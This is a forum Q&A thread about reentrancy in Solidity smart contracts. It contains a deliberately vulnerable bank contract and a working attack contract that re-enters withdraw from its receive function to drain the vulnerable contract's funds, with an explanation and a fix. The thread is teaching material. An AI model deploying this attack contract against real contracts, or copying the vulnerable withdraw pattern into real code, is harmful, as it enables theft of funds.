1

How an attacker could exploit this kinda reentrant SC?

pragma solidity ^0.8.2;

contract Private_Bank
{
    mapping (address => uint) public balances;
    
    uint public MinDeposit = 1 ether;
    
    Log TransferLog;
    
    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }
    
    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }
    // <yes> Reentrancy
    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }
    
    function() public payable{}    
    
}

contract Log 
{
   
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

1 Answer 1

0

Sorry, but your contract got a few compilation errors so you can refer to these contracts, we have the following 2 contracts which got similar deposit and withdraw logic:

VulnerableContract.sol

pragma solidity >=0.7.0 <0.9.0;

contract VulnerableContract {
    constructor() payable {}

    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] = msg.value;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "ERR: NO_BALANCE");
        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        if (success) {
            balances[msg.sender] = 0;
        }
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

And then the AttackContract.sol

pragma solidity >=0.7.0 <0.9.0;

interface IVulnerableContract {
    function deposit() external payable;
    function withdraw() external;
}

contract AttackContract {
    function deposit(address address_) public payable {
        IVulnerableContract(address_).deposit{value: msg.value}();
    }

    function withdraw(address address_) public {
        IVulnerableContract(address_).withdraw();
    }

    receive() external payable {
        return IVulnerableContract(msg.sender).withdraw();
    }
}

Now what happens is the vulnerable contract uses msg.sender.call and this opens a possibility for external contracts to create reentrancy. When the attacking contract is executing the withdraw method this leads to msg.sender.call which is pointing to to the attacking contract fallback method and as you can see that fallback method is immediately withdrawing again which is basically creating a loop of withdraws until there is not enough balance to be drained from the vulnerable contract.

The fix would be to move balances[msg.sender] = 0; before the msg.sender.call or use transfer or send which both have a maximum limit of 2300 gas and thanks to that any malicious code in the attackers fallback will not be executed.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.